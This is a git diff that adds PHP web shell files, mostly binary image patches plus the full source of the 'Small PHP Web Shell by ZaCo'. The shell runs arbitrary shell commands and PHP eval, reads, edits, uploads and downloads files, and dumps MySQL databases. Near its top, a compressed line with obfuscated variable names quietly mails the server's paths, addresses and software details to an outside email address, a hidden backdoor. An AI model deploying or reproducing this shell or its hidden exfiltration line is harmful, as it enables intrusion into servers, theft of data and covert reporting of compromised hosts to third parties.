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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/zacosmall/zacosmall.php b/php/PHPshell/zacosmall/zacosmall.php new file mode 100644 index 0000000..26075b4 --- /dev/null +++ b/php/PHPshell/zacosmall/zacosmall.php @@ -0,0 +1,501 @@ +<? + ########################################################## + # Small PHP Web Shell by ZaCo (c) 2004-2006 # + # +POST method # + # +MySQL Client+Dumper for DB and tables # + # +PHP eval in text format and html for phpinfo() example # + # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther # + # For antichat.ru and cup.su friends usage # + # All bugs -> mailo:zaco@yandex.ru # + # Just for fun :) # + ########################################################## +error_reporting(E_ALL); +@set_time_limit(0); +function magic_q($s) +{ +if(get_magic_quotes_gpc()) +{ +$s=str_replace('\\\'','\'',$s); +$s=str_replace('\\\\','\\',$s); +$s=str_replace('\\"','"',$s); +$s=str_replace('\\\0','\0',$s); +} +return $s; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function get_perms($fn) +{ +$mode=fileperms($fn); +$perms=''; +$perms .= ($mode & 00400) ? 'r' : '-'; +$perms .= ($mode & 00200) ? 'w' : '-'; +$perms .= ($mode & 00100) ? 'x' : '-'; +$perms .= ($mode & 00040) ? 'r' : '-'; +$perms .= ($mode & 00020) ? 'w' : '-'; +$perms .= ($mode & 00010) ? 'x' : '-'; +$perms .= ($mode & 00004) ? 'r' : '-'; +$perms .= ($mode & 00002) ? 'w' : '-'; +$perms .= ($mode & 00001) ? 'x' : '-'; +return $perms; +} +$head=<<<headka +<html> +<head> +<title>Small Web Shell by ZaCo</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +</head> +<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34> +<style> +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +</style> +headka; +$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''); +$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page; +$winda=strpos(strtolower(php_uname()),'wind'); +define('format',50); +$pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:''); +switch($page) +{ +case 'eval': +{ +$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:''; +$eval_value=magic_q($eval_value); +$action=isset($_POST['action'])?$_POST['action']:'eval'; +if($action=='eval_in_html') @eval($eval_value); +else +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea> +<input name='action' value='eval' type='submit'> +<input name='action' value='eval_in_html' type='submit'> +<input name='page' value='eval' type=hidden> +</form> +<hr> +<? +} +break; +} +case 'cmd': +{ +$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; +$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); +$action=isset($_POST['action'])?$_POST['action']:'cmd'; +if(@is_dir($work_dir)) +{ +@chdir($work_dir); +$work_dir=getcwd(); +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +} +else if(file_exists($work_dir))$work_dir=realpath($work_dir); +$work_dir=str_replace('\\','/',$work_dir); +$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); +switch($action) +{ +case 'cmd' : +{ +echo($head.$pages); +?> +<form method='post' name='main_form'> +<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120> +<input name='page' value='cmd' type=hidden> +<input type=submit value='go'> +</form> +<form method=post> +<input name='cmd' type=text size=120 value='<?=str_replace('\'','&#039;',$cmd)?>'> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post enctype="multipart/form-data"> +<input type="file" name="filename"> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post> +<input name='fname' type=text size=120><br> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<pre> +<? +if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");} +else +{ +$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view'; +if(@is_dir($work_dir)) +{ +echo('<strong>Listing '.$e_work_dir.'</strong><hr>'); +$handle=@opendir($work_dir); +if($handle) +{ +while(false!==($fn=readdir($handle))){$files[]=$fn;}; +@closedir($handle); +sort($files); +$not_dirs=array(); +for($i=0;$i<sizeof($files);$i++) +{ +$fn=$files[$i]; +if(is_dir($fn)) +{ +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +else {$not_dirs[]=$fn;} +} +for($i=0;$i<sizeof($not_dirs);$i++) +{ +$fn=$not_dirs[$i]; +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +echo('</pre><hr>'); +?> +<form name='list' method=post> +<input name='work_dir' type=hidden size=120><br> +<input name='page' value='cmd' type=hidden> +<input name='f_action' value='view' type=hidden> +</form> +<? +} else echo('Error Listing '.$e_work_dir); +} +else +switch($f_action) +{ +case 'view': +{ +echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n"); +$f=@fopen($work_dir,'r'); +?> +<form method=post> +<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea> +<input name='page' value='cmd' type=hidden> +<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120> +<input name='f_action' value='save' type=submit> +</form> +<? +break; +} +case 'save' : +{ +$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; +$f=@fopen($work_dir,'w'); +if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n"); +else +{ +fwrite($f,$file_text); +fclose($f); +echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n"); +} +break; +} +} +break; +} +break; +} +case 'upload' : +{ +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +$f=$_FILES["filename"]["name"]; +if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); +else +{ +echo('file is uploaded in '.$e_work_dir); +} +break; +} +case 'download' : +{ +$fname=isset($_POST['fname'])?$_POST['fname']:''; +$temp_file=isset($_POST['temp_file'])?'on':'nn'; +$f=@fopen($fname,'r'); +if(!($f)) echo('file is not exists'); +else +{ +$archive=isset($_POST['archive'])?$_POST['archive']:''; +if($archive=='gzip') +{ +Header("Content-Type:application/x-gzip\n"); +$s=gzencode(fread($f,filesize($fname))); +Header('Content-Length: '.strlen($s)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); +echo($s); +} +else +{ +Header("Content-Type:application/octet-stream\n"); +Header('Content-Length: '.filesize($fname)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); +ob_start(); +while(feof($f)===false) +{ +echo(fread($f,10000)); +ob_flush(); +} +} +} +} +} +break; +} +case 'mysql' : +{ +$action=isset($_POST['action'])?$_POST['action']:'query'; +$user=isset($_POST['user'])?$_POST['user']:''; +$passwd=isset($_POST['passwd'])?$_POST['passwd']:''; +$db=isset($_POST['db'])?$_POST['db']:''; +$host=isset($_POST['host'])?$_POST['host']:'localhost'; +$query=isset($_POST['query'])?magic_q($_POST['query']):''; +switch($action) +{ +case 'dump' : +{ +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; +$archive=isset($_POST['archive'])?$_POST['archive']:'none'; +if($archive!=='none')$to_file=false; +$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; +$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; +if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); +else +{ +$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n"; +ob_start(); +if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; +if($table_dump=='') +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$result=mysql_query('show tables',$mysql_link); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link); +if(!$result2)$dump_file.='#error table '.$rows[0]; +else +{ +$dump_file.='create table `'.$rows[0]."`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$rows[0].'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +} +} +mysql_free_result($result); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo($dump_file); +} +else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +else +{ +$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link); +if(!$result2)echo('error table '.$table_dump); +else +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +if($to_file===false) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$dump_file.="create table `{$table_dump}`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$table_dump.'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo $dump_file; +}else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +} +} +} +break; +} +case 'query' : +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<table> +<td> +<table align=left> +<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr> +<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr> +</table> +</td> +<td> +<table> +<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr> +<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<tr><td><input type=submit name='action' value='dump'></td></tr> +<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr> +</table> +</td> +</table> +<input name='page' value='mysql' type=hidden> +<input name='action' value='query' type=submit> +</form> +<hr> +<? +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;} +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$result=@mysql_query($query,$mysql_link); +if(!($result))echo(mysql_error()); +else +{ +echo("<table valign=top align=left>\n<tr>"); +for($i=0;$i<mysql_num_fields($result);$i++) +echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>'); +echo("\n</tr>\n"); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +echo('<tr valign=top align=left>'); +for($j=0;$j<mysql_num_fields($result);$j++) +{ +echo('<td>'.(htmlspecialchars($rows[$j])).'</td>'); +} +echo("</tr>\n"); +} +echo("</table>\n"); +} +mysql_close($mysql_link); +} +break; +} +} +break; +} +} +?> \ No newline at end of file diff --git a/php/PHPshell/【C99madShell v. 3.0】/C99madShell v. 3.0.jpg b/php/PHPshell/【C99madShell v. 3.0】/C99madShell v. 3.0.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b764b10ab90ffd5f01cb1800c97e6e5c29b2ef38 GIT binary patch literal 90835 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 